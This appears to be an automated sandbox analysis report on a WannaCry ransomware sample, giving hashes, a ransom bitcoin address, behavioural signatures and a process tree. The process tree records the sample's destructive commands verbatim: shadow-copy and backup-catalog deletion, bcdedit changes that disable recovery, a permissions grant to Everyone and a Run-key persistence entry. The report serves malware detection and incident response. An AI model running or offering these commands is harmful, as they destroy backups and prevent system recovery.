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210303-eg4g1z4wd2 10Analysis
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max time kernel
141s -
max time network
141s -
platform
windows10_x64 -
resource
win10v200410 -
submitted
21-04-2020 15:23
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v200410
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10v200410
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
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Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
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SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@[email protected]
wannacry
13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
Signatures
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Suspicious use of WriteProcessMemory 72 IoCs
description pid Process procid_target PID 2144 wrote to memory of 3652 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 68 PID 2144 wrote to memory of 3652 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 68 PID 2144 wrote to memory of 3652 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 68 PID 2144 wrote to memory of 3584 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 70 PID 2144 wrote to memory of 3584 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 70 PID 2144 wrote to memory of 3584 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 70 PID 2144 wrote to memory of 3796 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 2144 wrote to memory of 3796 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 2144 wrote to memory of 3796 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 72 PID 2144 wrote to memory of 3740 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 73 PID 2144 wrote to memory of 3740 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 73 PID 2144 wrote to memory of 3740 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 73 PID 3740 wrote to memory of 2560 3740 cmd.exe 75 PID 3740 wrote to memory of 2560 3740 cmd.exe 75 PID 3740 wrote to memory of 2560 3740 cmd.exe 75 PID 2144 wrote to memory of 3344 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 2144 wrote to memory of 3344 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 2144 wrote to memory of 3344 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 79 PID 2144 wrote to memory of 3648 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 2144 wrote to memory of 3648 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 2144 wrote to memory of 3648 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 80 PID 2144 wrote to memory of 4044 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 81 PID 2144 wrote to memory of 4044 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 81 PID 2144 wrote to memory of 4044 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 81 PID 4044 wrote to memory of 1936 4044 cmd.exe 83 PID 4044 wrote to memory of 1936 4044 cmd.exe 83 PID 4044 wrote to memory of 1936 4044 cmd.exe 83 PID 3648 wrote to memory of 3196 3648 @[email protected] 85 PID 3648 wrote to memory of 3196 3648 @[email protected] 85 PID 3648 wrote to memory of 3196 3648 @[email protected] 85 PID 1936 wrote to memory of 3672 1936 @[email protected] 87 PID 1936 wrote to memory of 3672 1936 @[email protected] 87 PID 1936 wrote to memory of 3672 1936 @[email protected] 87 PID 3672 wrote to memory of 528 3672 cmd.exe 89 PID 3672 wrote to memory of 528 3672 cmd.exe 89 PID 3672 wrote to memory of 528 3672 cmd.exe 89 PID 3672 wrote to memory of 2440 3672 cmd.exe 91 PID 3672 wrote to memory of 2440 3672 cmd.exe 91 PID 3672 wrote to memory of 2440 3672 cmd.exe 91 PID 2144 wrote to memory of 432 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 2144 wrote to memory of 432 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 2144 wrote to memory of 432 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 93 PID 2144 wrote to memory of 756 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 2144 wrote to memory of 756 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 2144 wrote to memory of 756 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 94 PID 2144 wrote to memory of 812 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 2144 wrote to memory of 812 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 2144 wrote to memory of 812 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 95 PID 2144 wrote to memory of 1224 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 97 PID 2144 wrote to memory of 1224 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 97 PID 2144 wrote to memory of 1224 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 97 PID 812 wrote to memory of 1304 812 cmd.exe 98 PID 812 wrote to memory of 1304 812 cmd.exe 98 PID 812 wrote to memory of 1304 812 cmd.exe 98 PID 2144 wrote to memory of 2464 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 100 PID 2144 wrote to memory of 2464 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 100 PID 2144 wrote to memory of 2464 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 100 PID 2144 wrote to memory of 3572 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 101 PID 2144 wrote to memory of 3572 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 101 PID 2144 wrote to memory of 3572 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 101 PID 2144 wrote to memory of 1712 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 2144 wrote to memory of 1712 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 2144 wrote to memory of 1712 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 102 PID 2144 wrote to memory of 2076 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 109 PID 2144 wrote to memory of 2076 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 109 PID 2144 wrote to memory of 2076 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 109 PID 2144 wrote to memory of 2172 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 2144 wrote to memory of 2172 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 2144 wrote to memory of 2172 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 110 PID 2144 wrote to memory of 3476 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 PID 2144 wrote to memory of 3476 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 PID 2144 wrote to memory of 3476 2144 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 111 -
Loads dropped DLL 8 IoCs
pid Process 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe -
Drops startup file 2 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SD94E8.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SD94FF.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-2136578390-2771164089-400866267-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@[email protected]" @[email protected] -
Executes dropped EXE 14 IoCs
pid Process 3796 taskdl.exe 3344 taskdl.exe 3648 @[email protected] 1936 @[email protected] 3196 taskhsvc.exe 432 taskse.exe 756 @[email protected] 1224 taskdl.exe 2464 taskdl.exe 3572 taskse.exe 1712 @[email protected] 2076 taskse.exe 2172 @[email protected] 3476 taskdl.exe -
Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 528 vssadmin.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\xeoufghauxp624 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 1304 reg.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
description pid Process Token: SeBackupPrivilege 644 vssvc.exe Token: SeRestorePrivilege 644 vssvc.exe Token: SeAuditPrivilege 644 vssvc.exe Token: SeIncreaseQuotaPrivilege 2440 WMIC.exe Token: SeSecurityPrivilege 2440 WMIC.exe Token: SeTakeOwnershipPrivilege 2440 WMIC.exe Token: SeLoadDriverPrivilege 2440 WMIC.exe Token: SeSystemProfilePrivilege 2440 WMIC.exe Token: SeSystemtimePrivilege 2440 WMIC.exe Token: SeProfSingleProcessPrivilege 2440 WMIC.exe Token: SeIncBasePriorityPrivilege 2440 WMIC.exe Token: SeCreatePagefilePrivilege 2440 WMIC.exe Token: SeBackupPrivilege 2440 WMIC.exe Token: SeRestorePrivilege 2440 WMIC.exe Token: SeShutdownPrivilege 2440 WMIC.exe Token: SeDebugPrivilege 2440 WMIC.exe Token: SeSystemEnvironmentPrivilege 2440 WMIC.exe Token: SeRemoteShutdownPrivilege 2440 WMIC.exe Token: SeUndockPrivilege 2440 WMIC.exe Token: SeManageVolumePrivilege 2440 WMIC.exe Token: 33 2440 WMIC.exe Token: 34 2440 WMIC.exe Token: 35 2440 WMIC.exe Token: 36 2440 WMIC.exe Token: SeIncreaseQuotaPrivilege 2440 WMIC.exe Token: SeSecurityPrivilege 2440 WMIC.exe Token: SeTakeOwnershipPrivilege 2440 WMIC.exe Token: SeLoadDriverPrivilege 2440 WMIC.exe Token: SeSystemProfilePrivilege 2440 WMIC.exe Token: SeSystemtimePrivilege 2440 WMIC.exe Token: SeProfSingleProcessPrivilege 2440 WMIC.exe Token: SeIncBasePriorityPrivilege 2440 WMIC.exe Token: SeCreatePagefilePrivilege 2440 WMIC.exe Token: SeBackupPrivilege 2440 WMIC.exe Token: SeRestorePrivilege 2440 WMIC.exe Token: SeShutdownPrivilege 2440 WMIC.exe Token: SeDebugPrivilege 2440 WMIC.exe Token: SeSystemEnvironmentPrivilege 2440 WMIC.exe Token: SeRemoteShutdownPrivilege 2440 WMIC.exe Token: SeUndockPrivilege 2440 WMIC.exe Token: SeManageVolumePrivilege 2440 WMIC.exe Token: 33 2440 WMIC.exe Token: 34 2440 WMIC.exe Token: 35 2440 WMIC.exe Token: 36 2440 WMIC.exe Token: SeTcbPrivilege 432 taskse.exe Token: SeTcbPrivilege 432 taskse.exe Token: SeTcbPrivilege 3572 taskse.exe Token: SeTcbPrivilege 3572 taskse.exe Token: SeTcbPrivilege 2076 taskse.exe Token: SeTcbPrivilege 2076 taskse.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 3584 icacls.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
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Suspicious use of SetWindowsHookEx 8 IoCs
pid Process 1936 @[email protected] 3648 @[email protected] 1936 @[email protected] 3648 @[email protected] 756 @[email protected] 756 @[email protected] 1712 @[email protected] 2172 @[email protected] -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe 3196 taskhsvc.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
pid Process 3652 attrib.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Suspicious use of WriteProcessMemory
- Drops startup file
- Sets desktop wallpaper using registry
PID:2144 -
C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
PID:3652
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
PID:3584
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:3796
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c 217521587489893.bat2⤵
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵PID:2560
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:3344
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3648 -
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:3196
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C:\Windows\SysWOW64\cmd.exePID:4044
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C:\Users\Admin\AppData\Local\Temp\@[email protected]3⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1936 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
PID:3672 -
C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
PID:528
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2440
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:432
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C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Sets desktop wallpaper using registry
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:756
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "xeoufghauxp624" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run entry to start application
- Modifies registry key
PID:1304
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:1224
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:2464
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3572
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:1712
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@[email protected]2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2076
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C:\Users\Admin\AppData\Local\Temp\@[email protected]PID:2172
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
PID:3476
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:644